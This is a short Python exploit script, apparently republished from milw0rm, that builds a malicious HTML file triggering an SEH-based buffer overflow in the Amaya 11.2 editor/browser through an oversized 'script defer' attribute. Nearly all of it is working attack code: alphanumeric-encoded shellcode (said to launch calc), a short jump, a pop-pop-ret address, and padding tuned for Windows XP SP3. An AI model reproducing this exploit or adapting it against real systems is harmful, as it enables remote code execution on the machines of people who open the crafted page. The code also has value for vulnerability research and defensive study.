Amaya 11.2 W3C Editor/Browser (defer) Remote BoF Exploit (SEH)



#!/usr/bin/python

# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[+] Bug :     Amaya 11.2 W3C Editor/Browser (defer) Remote BOF Exploit (SEH)
#[+] Tested on : Xp sp3 (en) under (vb)
#[+] Refer :      http://www.milw0rm.com/exploits/8314
#[+] Exploit :      His0k4
#[+] Greetz :      All friends (DZ)

#[x] Note : The html file must be browsed from a webserver

#win32_exec calc encoded with alpha2=>374 bytes.
shellcode = (
"JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
"TiKyosYyyN8YzN9IT4utL4SkoqRSwcUOJKKJ7rMSzKKLIrkDysv"
"cONtBUOjKrQCwEscPlFEWcWJJVuk9pPkCPqqMeokZTQPKLTkoQa"
"ws8qYJFZmKLsbOVZBVvxEzfPdOwnQ921l6Q4OOyN362JfnrQSmU"
"kkZr1e4OdhgnQLISp9gkKZIntL7qa5Sl4QroV5vUKDhxKyR3KSP"
"MjTrMJvKnbVnlTLkKFOyPozWf7NiqgXcTQVkMDbKqZtBuOXkT1p"
"jusNTJkL4cOMmPszZmLtkmQsbRWUKppS6SpMSQrilNum5nMYmL8"
"k8ok2NSLjKkJ32WzA")

payload =  "<script defer=\""
payload += "\x41"*6914        #change this value if needed
payload += "\x74\x06\x41\x41"    #short jump
payload += "\x50\x1A\x03\x10"    #pop pop ret somewhere
payload += "\x61"*13    # popad
payload += "\x52\xC3"    # push edx,retn C3 not mangled ouf!
payload += "\x44"*668    # padding
payload += shellcode
payload += "\x45"*5000    # result
payload += "\">"

try:
    out_file = open("exploit.html","w")
    out_file.write(payload)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-08-03]